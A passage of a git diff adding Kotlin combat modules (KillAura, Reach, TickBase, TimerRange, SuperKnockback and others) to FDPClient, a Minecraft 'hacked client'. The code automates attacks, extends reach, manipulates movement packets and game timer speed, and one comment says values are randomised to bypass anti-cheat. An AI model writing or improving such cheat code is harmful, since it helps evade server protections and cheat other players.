blinkBlock() { + BlinkUtils.setBlinkState(off = true, release = true) + wasBlink = false + val target = this.currentTarget ?: discoveredTargets.getOrNull(0) ?: return + startBlocking( + target, + interactAutoBlockValue.get() && (mc.thePlayer.getDistanceToEntityBox(target) < maxRange) + ) + } + + /** + * Render event + */ + @EventTarget + fun onRender3D(event: Render3DEvent) { + if (cancelRun) { + currentTarget = null + hitable = false + stopBlocking() + discoveredTargets.clear() + inRangeDiscoveredTargets.clear() + } + if (currentTarget != null && attackTimer.hasTimePassed(attackDelay) && currentTarget!!.hurtTime <= hurtTimeValue.get()) { + clicks++ + attackTimer.reset() + attackDelay = getAttackDelay(minCpsValue.get(), maxCpsValue.get()) + } + + if (currentTarget != null && attackTimer.hasTimePassed((attackDelay.toDouble() * 0.9).toLong()) && (autoBlockValue.equals( + "Range" + ) && canBlock) && autoBlockPacketValue.equals("KeyBlock") + ) { + mc.gameSettings.keyBindUseItem.pressed = false + } + + if (currentTarget != null && delayBlockTimer.hasTimePassed(30) && (autoBlockValue.equals("Range") && canBlock)) { + if (autoBlockPacketValue.equals("KeyBlock")) { + mc.gameSettings.keyBindUseItem.pressed = true + } + if (autoBlockPacketValue.equals("Delayed")) { + val target = this.currentTarget ?: discoveredTargets.getOrNull(0) ?: return + startBlocking( + target, + interactAutoBlockValue.get() && (mc.thePlayer.getDistanceToEntityBox(target) < maxRange) + ) + } + + if (autoBlockValue.equals("Range") && autoBlockPacketValue.equals("Test2") && !blockingStatus && test2_block) { + if (discoveredTargets.isNotEmpty()) { + val target = this.currentTarget ?: discoveredTargets.first() + startBlocking( + target, + interactAutoBlockValue.get() && (mc.thePlayer.getDistanceToEntityBox(target) < maxRange) + ) + blockingStatus = true + test2_block = false + } + } + } + } + + @EventTarget + fun onJump(event: JumpEvent) { + if (jumpFixValue.get()) { + if (discoveredTargets.isNotEmpty()) { + event.yaw = RotationUtils.serverRotation!!.yaw + } + } + } + + /** + * Attack Delay + */ + private fun getAttackDelay(minCps: Int, maxCps: Int): Long { + return TimeUtils.randomClickDelay(minCps.coerceAtMost(maxCps), minCps.coerceAtLeast(maxCps)) + } + + /** + * Check if raycast landed on a different object + * + * The game requires at least 1 tick of cooldown on raycast object type change (miss, block, entity) + * We are doing the same thing here but allow more cool down. + */ + + // no finished + private fun shouldDelayClick(type: MovingObjectPosition.MovingObjectType): Boolean { + if (!useHitDelay.get()) { + return false + } + + val lastAttack = attackTickTimes.lastOrNull() + + return lastAttack != null && lastAttack.first.typeOfHit != type && runTimeTicks - lastAttack.second <= hitDelayTicks.get() + } + + /** + * Check if run should be cancelled + */ + private val cancelRun: Boolean + get() = mc.thePlayer.isSpectator || !isAlive(mc.thePlayer) + || (blinkCheck.get() && FDPClient.moduleManager[Blink::class.java]!!.state) + || FDPClient.moduleManager[FreeCam::class.java]!!.state + || (noScaffValue.get() && FDPClient.moduleManager[Scaffold::class.java]!!.state) + || (noScaffValue.get() && FDPClient.moduleManager[Scaffold2::class.java]!!.state) + || (noFlyValue.get() && FDPClient.moduleManager[Flight::class.java]!!.state) + || (noEat.get() && mc.thePlayer.isUsingItem && (mc.thePlayer.heldItem?.item is ItemFood || mc.thePlayer.heldItem?.item is ItemBucketMilk || mc.thePlayer.isUsingItem && (mc.thePlayer.heldItem?.item is ItemPotion))) + || (noBlocking.get() && mc.thePlayer.isUsingItem && mc.thePlayer.heldItem?.item is ItemBlock) + || (noInventoryAttackValue.equals("CancelRun") && (mc.currentScreen is GuiContainer || System.currentTimeMillis() - containerOpen < noInventoryDelayValue.get())) + || (onSwording.get() && mc.thePlayer.heldItem?.item !is ItemSword) + + + /** + * Check if [entity] is alive + */ + private fun isAlive(entity: EntityLivingBase) = entity.isEntityAlive && entity.health > 0 + + /** + * Check if player is able to block + */ + private val canBlock: Boolean + get() = mc.thePlayer.heldItem != null && mc.thePlayer.heldItem.item is ItemSword + + /** + * Range + */ + private val maxRange: Float + get() = max(rangeValue.get(), if (!throughWallsValue.get()) rangeValue.get() else 0.0f) + + /** + * HUD Tag + */ + override val tag: String + get() = when (displayMode.get().lowercase()) { + "simple" -> targetModeValue.get() + "" + "lesssimple" -> rangeValue.get().toString() + " " + targetModeValue.get() + " " + autoBlockValue.get() + "complicated" -> "M:" + targetModeValue.get() + ", AB:" + autoBlockValue.get() + ", R:" + rangeValue.get() + ", CPS:" + minCpsValue.get() + " - " + maxCpsValue.get() + else -> targetModeValue.get() + "" + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/NoClickDelay.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/NoClickDelay.kt new file mode 100644 index 0000000..619df55 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/NoClickDelay.kt @@ -0,0 +1,23 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.MotionEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo + +@ModuleInfo(name = "NoClickDelay", category = ModuleCategory.COMBAT) +object NoClickDelay : Module() { + + @EventTarget + fun onMotion(event: MotionEvent) { + if (mc.thePlayer != null && mc.theWorld != null) { + mc.leftClickCounter = 0 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/Reach.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/Reach.kt new file mode 100644 index 0000000..067b060 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/Reach.kt @@ -0,0 +1,30 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.FloatValue +import kotlin.math.max + +@ModuleInfo(name = "Reach", category = ModuleCategory.COMBAT) +object Reach : Module() { + + val combatReachValue = FloatValue("CombatReach", 3.5f, 3f, 7f) + val buildReachValue = FloatValue("BuildReach", 5f, 4.5f, 7f) + + val maxRange: Float + + get() = max(combatReachValue.get(), buildReachValue.get()) + + val hitReach: Float + get() = if (state) { + combatReachValue.get() + } else { + 3f + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/RemoveEffect.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/RemoveEffect.kt new file mode 100644 index 0000000..33931af --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/RemoveEffect.kt @@ -0,0 +1,48 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.potion.Potion + +@ModuleInfo(name = "RemoveEffect", category = ModuleCategory.COMBAT) +object RemoveEffect : Module() { + + private val shouldRemoveSlowness = BoolValue("Slowness", false) + private val shouldRemoveMiningFatigue = BoolValue("MiningFatigue", false) + private val shouldRemoveBlindness = BoolValue("Blindness", false) + private val shouldRemoveWeakness = BoolValue("Weakness", false) + private val shouldRemoveWither = BoolValue("Wither", false) + private val shouldRemovePoison = BoolValue("Poison", false) + private val shouldRemoveWaterBreathing = BoolValue("WaterBreathing", false) + + override fun onEnable() {} + + @EventTarget(ignoreCondition = true) + fun onUpdate(event: UpdateEvent?) { + + if (mc.thePlayer != null) { + + val effectIdsToRemove = mutableListOf<Int>() + if (shouldRemoveSlowness.get()) effectIdsToRemove.add(Potion.moveSlowdown.id) + if (shouldRemoveMiningFatigue.get()) effectIdsToRemove.add(Potion.digSlowdown.id) + if (shouldRemoveBlindness.get()) effectIdsToRemove.add(Potion.blindness.id) + if (shouldRemoveWeakness.get()) effectIdsToRemove.add(Potion.weakness.id) + if (shouldRemoveWither.get()) effectIdsToRemove.add(Potion.wither.id) + if (shouldRemovePoison.get()) effectIdsToRemove.add(Potion.poison.id) + if (shouldRemoveWaterBreathing.get()) effectIdsToRemove.add(Potion.waterBreathing.id) + + for (effectId in effectIdsToRemove) { + mc.thePlayer.removePotionEffectClient(effectId) + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/SuperKnockback.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/SuperKnockback.kt new file mode 100644 index 0000000..ff9cb8e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/SuperKnockback.kt @@ -0,0 +1,130 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.Rotation +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.client.settings.GameSettings +import net.minecraft.entity.EntityLivingBase +import net.minecraft.network.play.client.C0BPacketEntityAction + +@ModuleInfo(name = "SuperKnockback", category = ModuleCategory.COMBAT) +class SuperKnockback : Module() { + + private val hurtTimeValue = IntegerValue("HurtTime", 10, 0, 10) + private val modeValue = ListValue("Mode", arrayOf("Wtap", "Stap", "WtapStopMotion", "Legit", "LegitSneak", "Silent", "SprintReset", "SneakPacket"), "Legit") + private val onlyMoveValue = BoolValue("OnlyMove", true) + private val onlyMoveForwardValue = BoolValue("OnlyMoveForward", true). displayable { onlyMoveValue.get() } + private val onlyGroundValue = BoolValue("OnlyGround", false) + private val delayValue = IntegerValue("Delay", 0, 0, 500) + + private var ticks = 0 + + val timer = MSTimer() + + @EventTarget + fun onAttack(event: AttackEvent) { + if (event.targetEntity is EntityLivingBase) { + if (event.targetEntity.hurtTime > hurtTimeValue.get() || !timer.hasTimePassed(delayValue.get().toLong()) || + (!MovementUtils.isMoving() && onlyMoveValue.get()) || (!mc.thePlayer.onGround && onlyGroundValue.get())) { + return + } + + if (onlyMoveForwardValue.get() && RotationUtils.getRotationDifference(Rotation(MovementUtils.movingYaw, mc.thePlayer.rotationPitch), Rotation(mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch)) > 35) { + return + } + + when (modeValue.get().lowercase()) { + + "wtap", "stap", "wtapstopmotion", "legit", "legitsneak" -> ticks = 2 + + "sprintreset" -> { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING)) + } + + "sneakpacket" -> { + if (mc.thePlayer.isSprinting) { + mc.thePlayer.isSprinting = true + } + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING)) + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SNEAKING)) + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SPRINTING)) + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SNEAKING)) + mc.thePlayer.serverSprintState = true + } + } + timer.reset() + } + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + when (modeValue.get().lowercase()) { + "wtap", "wtapstopmotion" -> { + if (ticks == 2) { + mc.gameSettings.keyBindForward.pressed = false + if (modeValue.equals("WtapStopMotion")) MovementUtils.resetMotion(false) + ticks = 1 + } else if (ticks == 1) { + mc.gameSettings.keyBindForward.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindForward) + ticks = 0 + } + } + "stap" -> { + if (ticks == 2) { + mc.gameSettings.keyBindForward.pressed = false + mc.gameSettings.keyBindBack.pressed = true + ticks = 1 + } else if (ticks == 1) { + mc.gameSettings.keyBindForward.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindForward) + mc.gameSettings.keyBindBack.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindBack) + ticks = 0 + } + } + "legit" -> { + if (ticks == 2) { + mc.thePlayer.isSprinting = false + ticks = 1 + } else if (ticks == 1) { + mc.thePlayer.isSprinting = true + ticks = 0 + } + } + "legitsneak" -> { + if (ticks == 2) { + mc.gameSettings.keyBindSneak.pressed = true + ticks = 1 + } else if (ticks == 1) { + mc.gameSettings.keyBindSneak.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindSneak) + ticks = 0 + } + } + "silent" -> { + if (ticks == 1) { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING)) + ticks = 2 + } else if (ticks == 2) { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SPRINTING)) + ticks = 0 + } + } + } + } + + override val tag: String + get() = modeValue.get() +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/TickBase.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/TickBase.kt new file mode 100644 index 0000000..2dad9a7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/TickBase.kt @@ -0,0 +1,303 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.script.api.global.Chat +import net.ccbluex.liquidbounce.utils.EntityUtils +import net.ccbluex.liquidbounce.utils.extensions.getDistanceToEntityBox +import net.minecraft.entity.Entity +import net.minecraft.entity.EntityLivingBase +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import net.minecraft.network.play.server.S12PacketEntityVelocity +import kotlin.random.Random + +@ModuleInfo( + name = "TickBase", + description = "Automatically speeds up/down when ??????", + category = ModuleCategory.COMBAT +) +object TickBase : Module() { + + private var playerTicks = 0 + private var smartTick = 0 + private var cooldownTick = 0 + private var confirmTick = false + private var confirmMove = false + + // Condition to prevent getting timer speed stuck + private var confirmAttack = false + + // Condition to makesure timer isn't reset on lagback, when not attacking + private var confirmLagBack = false + + // Condition to makesure timer isn't reset on knockback, when timer isn't changed + private var confirmKnockback = false + + private val timerBoostMode = ListValue("TimerMode", arrayOf("Normal", "Smart", "SmartMove"), "Normal") + + private val ticksValue = IntegerValue("Ticks", 10, 1,20) + private val timerBoostValue = FloatValue("TimerBoost", 1.5f, 0.01f,35f) + private val timerChargedValue = FloatValue("TimerCharged", 0.45f, 0.05f,5f) + + // Normal Mode Settings + private val rangeValue = FloatValue("Range", 3.5f, 1f,5f).displayable { timerBoostMode.get() == "Normal" } + private val cooldownTickValue = IntegerValue("CooldownTick", 10, 1,50).displayable { timerBoostMode.get() == "Normal" } + + // Smart & SmartMove Mode Settings + private val minRange = FloatValue("MinRange", 1f, 1f,5f).displayable { timerBoostMode.get() != "Normal" } + private val maxRange = FloatValue("MaxRange", 5f, 1f,5f).displayable { timerBoostMode.get() != "Normal" } + + private val minTickDelay: IntegerValue = object : IntegerValue("MinTickDelay", 50, 1,100) { + override fun onChange(oldValue: Int, newValue: Int) { + newValue.coerceAtMost(maxTickDelay.get()) + } + }.displayable {timerBoostMode.get() == "Smart"} as IntegerValue + + private val maxTickDelay: IntegerValue = object : IntegerValue("MaxTickDelay", 100, 1,100) { + override fun onChange(oldValue: Int, newValue: Int) { + newValue.coerceAtLeast(minTickDelay.get()) + } + }.displayable {timerBoostMode.get() == "Smart"} as IntegerValue + + private val lookThreshold = FloatValue("LookThreshold", 0.5f, 0.1f,1f).displayable { timerBoostMode.get() == "SmartMove" } + + // Optional + private val onlykillaura = BoolValue("OnlyKillaura",false) + private val resetOnlagBack = BoolValue("ResetOnLagback", false) + private val resetOnKnockback = BoolValue("ResetOnKnockback", false) + private val chatDebug = BoolValue("ChatDebug", true).displayable { resetOnlagBack.get() || resetOnKnockback.get() } + + private fun timerReset() { + mc.timer.timerSpeed = 1f + } + + override fun onEnable() { + timerReset() + } + + override fun onDisable() { + timerReset() + smartTick = 0 + cooldownTick = 0 + playerTicks = 0 + } + @EventTarget + fun onTick(event: TickEvent) { + if (onlykillaura.get() && !FDPClient.moduleManager[KillAura::class.java]!!.state) { + return + } + } + + @EventTarget + fun onAttack(event: AttackEvent) { + if (event.targetEntity !is EntityLivingBase || shouldResetTimer()) { + timerReset() + return + } else { + confirmAttack = true + } + + val targetEntity = event.targetEntity + val entityDistance = mc.thePlayer.getDistanceToEntityBox(targetEntity) + val randomTickDelay = Random.nextInt(minTickDelay.get(), maxTickDelay.get()) + val randomRange = Random.nextDouble(minRange.get().toDouble(), maxRange.get().toDouble()) + + smartTick++ + cooldownTick++ + + val shouldSlowed = when (timerBoostMode.get()) { + "Normal" -> cooldownTick >= cooldownTickValue.get() && entityDistance <= rangeValue.get() + "Smart" -> smartTick >= randomTickDelay && entityDistance <= randomRange + else -> false + } + + if (shouldSlowed && confirmAttack) { + confirmAttack = false + playerTicks = ticksValue.get() + + if (resetOnKnockback.get()) { + confirmKnockback = true + } + if (resetOnlagBack.get()) { + confirmLagBack = true + } + cooldownTick = 0 + smartTick = 0 + } else { + timerReset() + } + } + + @EventTarget + fun onMove(event: MoveEvent) { + if (timerBoostMode.get() != "SmartMove") { + return + } + + val randomTickDelay = Random.nextInt(minTickDelay.get(), maxTickDelay.get()) + val randomRange = Random.nextDouble(minRange.get().toDouble(), maxRange.get().toDouble()) + + if (isPlayerMoving()) { + smartTick++ + + if (smartTick >= randomTickDelay) { + confirmTick = true + smartTick = 0 + } + } else { + smartTick = 0 + confirmMove = false + } + + val nearbyEntity = getNearestEntityInRange() + + if (nearbyEntity != null && isPlayerMoving()) { + if (isLookingTowardsEntities(nearbyEntity)) { + val entityDistance = mc.thePlayer.getDistanceToEntityBox(nearbyEntity) + + if (confirmTick && entityDistance <= randomRange) { + playerTicks = ticksValue.get() + confirmTick = false + confirmMove = true + + if (resetOnKnockback.get()) { + confirmKnockback = true + } + if (resetOnlagBack.get()) { + confirmLagBack = true + } + } + } + } + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + // Randomize the timer & charged delay a bit, to bypass some AntiCheat + val timerboost = Random.nextDouble(0.5, 0.56) + val charged = Random.nextDouble(0.75, 0.91) + + if (playerTicks <= 0) { + timerReset() + return + } + + val tickProgress = playerTicks.toDouble() / ticksValue.get().toDouble() + val playerSpeed = when { + tickProgress < timerboost -> timerBoostValue.get() + tickProgress < charged -> timerChargedValue.get() + else -> 1f + } + + val speedAdjustment = if (playerSpeed >= 0) playerSpeed else 1f + ticksValue.get() - playerTicks + val adjustedTimerSpeed = maxOf(speedAdjustment, 0f) + + mc.timer.timerSpeed = adjustedTimerSpeed + + playerTicks-- + } + + /** + * This check is useful to prevent player from changing speed while looking away + * And prevent player from changing speed toward unintended entity/target while moving. + */ + private fun isLookingTowardsEntities(entity: Entity): Boolean { + val lookVec = mc.thePlayer.lookVec.normalize() + val playerPos = mc.thePlayer.positionVector.addVector(0.0, mc.thePlayer.eyeHeight.toDouble(), 0.0) + val entityPos = entity.positionVector.addVector(0.0, entity.eyeHeight.toDouble(), 0.0) + + val directionToEntity = entityPos.subtract(playerPos).normalize() + val dotProductThreshold = lookVec.dotProduct(directionToEntity) + + // Player needs to be facing the entity/target with chosen dotproduct, in this case default threshold of at least 0.5 + return dotProductThreshold > lookThreshold.get() + } + + /** + * Check if player is moving + */ + private fun isPlayerMoving(): Boolean { + return mc.thePlayer.moveForward != 0f || mc.thePlayer.moveStrafing != 0f + } + + /** + * Get all entities in the world. + */ + private fun getAllEntities(): List<Entity> { + return mc.theWorld.loadedEntityList + .filter { EntityUtils.isSelected(it, true) } + .toList() + } + + /** + * Find the nearest entity in range. + */ + private fun getNearestEntityInRange(): Entity? { + val player = mc.thePlayer + + val entitiesInRange = getAllEntities() + .filter { player.getDistanceToEntityBox(it) <= rangeValue.get() } + + return entitiesInRange.minByOrNull { player.getDistanceToEntityBox(it) } + } + + /** + * Separate condition to make it cleaner + */ + private fun shouldResetTimer(): Boolean { + return (playerTicks >= 1 + || mc.thePlayer.isSpectator || mc.thePlayer.isDead + || mc.thePlayer.isInWater || mc.thePlayer.isInLava + || mc.thePlayer.isInWeb || mc.thePlayer.isOnLadder + || mc.thePlayer.isRiding) + } + + /** + * Lagback Reset is Inspired from Nextgen TimerRange + * Reset Timer on Lagback & Knockback. + */ + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (isPlayerMoving() && !shouldResetTimer() + && mc.timer.timerSpeed > 1.0 || mc.timer.timerSpeed < 1.0 ) { + + // Check for lagback + if (resetOnlagBack.get() && confirmLagBack) { + if (packet is S08PacketPlayerPosLook) { + confirmLagBack = false + timerReset() + if (chatDebug.get()) { + Chat.print("Lagback Received | Timer Reset") + } + } + } + + // Check for knockback + if (resetOnKnockback.get() && confirmKnockback) { + if (packet is S12PacketEntityVelocity && mc.thePlayer.entityId == packet.entityID + && packet.motionY > 0 && (packet.motionX.toDouble() != 0.0 || packet.motionZ.toDouble() != 0.0)) { + confirmKnockback = false + timerReset() + if (chatDebug.get()) { + Chat.print("Knockback Received | Timer Reset") + } + } + } + } + } + + /** + * HUD Tag + */ + override val tag: String + get() = timerBoostMode.get() +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/TimerRange.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/TimerRange.kt new file mode 100644 index 0000000..c861b1e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/TimerRange.kt @@ -0,0 +1,252 @@ +//from kevin client +package net.ccbluex.liquidbounce.features.module.modules.combat + +import kevin.utils.expands +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventState +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.MotionEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.EntityUtils +import net.ccbluex.liquidbounce.utils.RaycastUtils +import net.ccbluex.liquidbounce.utils.extensions.getNearestPointBB +import net.minecraft.client.entity.EntityOtherPlayerMP +import net.minecraft.entity.Entity +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.player.EntityPlayer +import kotlin.math.min + +@ModuleInfo( + name = "TimerRange", + description = "Automatically speeds up/down when ??????", + category = ModuleCategory.COMBAT +) +object TimerRange : Module() { + private val mode = ListValue("Mode", arrayOf("RayCast", "Radius"), "RayCast") + private val minDistance: FloatValue = object : FloatValue("MinDistance", 3F, 0F, 4F) { + override fun onChanged(oldValue: Float, newValue: Float) { + if (newValue > maxDistance.get()) set(maxDistance.get()) + } + } + private val maxDistance: FloatValue = object : FloatValue("MaxDistance", 4F, 3F, 7F) { + override fun onChanged(oldValue: Float, newValue: Float) { + if (newValue < minDistance.get()) set(minDistance.get()) + } + } + private val rangeMode = ListValue("RangeMode", arrayOf("Setting", "Smart"), "Smart") + private val maxTimeValue = IntegerValue("MaxTime", 3, 0, 20) + private val delayValue = IntegerValue("Delay", 5, 0, 20) + private val maxHurtTimeValue = IntegerValue("TargetMaxHurtTime", 2, 0, 10) + private val onlyKillAura = BoolValue("OnlyKillAura", true) + private val auraClick = BoolValue("AuraClick", true) + private val onlyPlayer = BoolValue("OnlyPlayer", true) + private val debug = BoolValue("Debug", false) + private val betterAnimation = BoolValue("BetterAnimation", true) + private val reverseValue = BoolValue("Reverse", false) + private val maxReverseRange : FloatValue = object : FloatValue("MaxReverseRange", 2.8f, 1f, 4f) { + override fun onChanged(oldValue: Float, newValue: Float) { + if (newValue > minDistance.get() && minDistance.get() > minReverseRange.get()) set(minDistance.get()) + else if (newValue < minReverseRange.get()) set(minReverseRange.get()) + } + } + + private val minReverseRange : FloatValue = object : FloatValue("MinReverseRange", 2.5f, 1f, 4f) { + override fun onChanged(oldValue: Float, newValue: Float) { + if (newValue > maxReverseRange.get()) set(maxReverseRange.get()) + } + } + private val reverseTime : IntegerValue = object : IntegerValue("ReverseStopTime", 3, 1, 10) { + override fun onChanged(oldValue: Int, newValue: Int) { + if (newValue < reverseTickTime.get()) set(reverseTickTime.get()) + } + } + private val reverseTickTime : IntegerValue = object : IntegerValue("ReverseTickTime", 3, 0, 10) { + override fun onChanged(oldValue: Int, newValue: Int) { + if (newValue > reverseTime.get()) set(reverseTime.get()) + } + } + private val reverseDelay = IntegerValue("ReverseDelay", 5, 0, 20) + private val reverseTargetMaxHurtTime = IntegerValue("ReverseTargetMaxHurtTime", 3, 0, 10) + private val reverseAuraClick = ListValue("ReverseAuraClick", arrayOf("None", "BeforeTimer", "AfterTimer"), "None") + + private val killAura: KillAura? = FDPClient.moduleManager.getModule(KillAura::class.java) + + @JvmStatic + private var working = false + private var stopWorking = false + private var lastNearest = 10.0 + private var cooldown = 0 + private var freezeTicks = 0 + private var reverseFreeze = true + private var firstAnimation = true + + @EventTarget fun onMotion(event: MotionEvent) { + if (event.eventState == EventState.PRE) return // post event mean player's tick is done + val thePlayer = mc.thePlayer ?: return + if (onlyKillAura.get() && !killAura?.state!!) return + if (mode .get() == "RayCast") { + val entity = RaycastUtils.raycastEntity(maxDistance.get() + 1.0, object : RaycastUtils.IEntityFilter { + override fun canRaycast(entity: Entity?): Boolean { + return entity != null && entity is EntityLivingBase && (!onlyPlayer.get() || entity is EntityPlayer) + } + }) + if (entity == null || entity !is EntityLivingBase) { + lastNearest = 10.0 + return + } + if (!EntityUtils.isSelected(entity, true)) return + val vecEyes = thePlayer.getPositionEyes(1f) + val predictEyes = if (rangeMode .get() == "Smart") { + thePlayer.getPositionEyes(maxTimeValue.get() + 1f) + } else thePlayer.getPositionEyes(3f) + val entityBox = entity.entityBoundingBox.expands(entity.collisionBorderSize.toDouble()) + val box = getNearestPointBB( + vecEyes, + entityBox + ) + val box2 = getNearestPointBB( + predictEyes, + if (entity is EntityOtherPlayerMP) { + entityBox.offset(entity.otherPlayerMPX - entity.posX, entity.otherPlayerMPY - entity.posY, entity.otherPlayerMPZ - entity.posZ) + } else entityBox + ) + val range = box.distanceTo(vecEyes) + val afterRange = box2.distanceTo(predictEyes) + if (!working && reverseValue.get()) { + if (range <= maxReverseRange.get() && range >= minReverseRange.get() && cooldown <= 0 && entity.hurtTime <= reverseTargetMaxHurtTime.get()) { + freezeTicks = reverseTime.get() + firstAnimation = false + reverseFreeze = true + return + } + } + if (range < minDistance.get()) { + stopWorking = true + } else if (((rangeMode .get() == "Smart" && range > minDistance.get() && afterRange < minDistance.get() && afterRange < range) || (rangeMode .get() == "Setting" && range <= maxDistance.get() && range < lastNearest && afterRange < range)) && entity.hurtTime <= maxHurtTimeValue.get()) { + stopWorking = false + foundTarget() + } + lastNearest = range + } else { + val entityList = mc.theWorld.getEntitiesWithinAABBExcludingEntity( + thePlayer, + thePlayer.entityBoundingBox.expands(maxDistance.get() + 1.0) + ) + if (entityList.isNotEmpty()) { + val vecEyes = thePlayer.getPositionEyes(1f) + val afterEyes = if (rangeMode .get() == "Smart") { + thePlayer.getPositionEyes(maxTimeValue.get() + 1f) + } else thePlayer.getPositionEyes(3f) + var targetFound = false + var targetInRange = false + var nearest = 10.0 + for (entity in entityList) { + if (entity !is EntityLivingBase) continue + if (onlyPlayer.get() && entity !is EntityPlayer) continue + if (!EntityUtils.isSelected(entity, true)) continue + val entityBox = entity.entityBoundingBox.expands(entity.collisionBorderSize.toDouble()) + val box = getNearestPointBB( + vecEyes, + entityBox + ) + val box2 = getNearestPointBB( + afterEyes, + if (entity is EntityOtherPlayerMP) { + entityBox.offset(entity.otherPlayerMPX - entity.posX, entity.otherPlayerMPY - entity.posY, entity.otherPlayerMPZ - entity.posZ) + } else entityBox + ) + val range = box.distanceTo(vecEyes) + val afterRange = 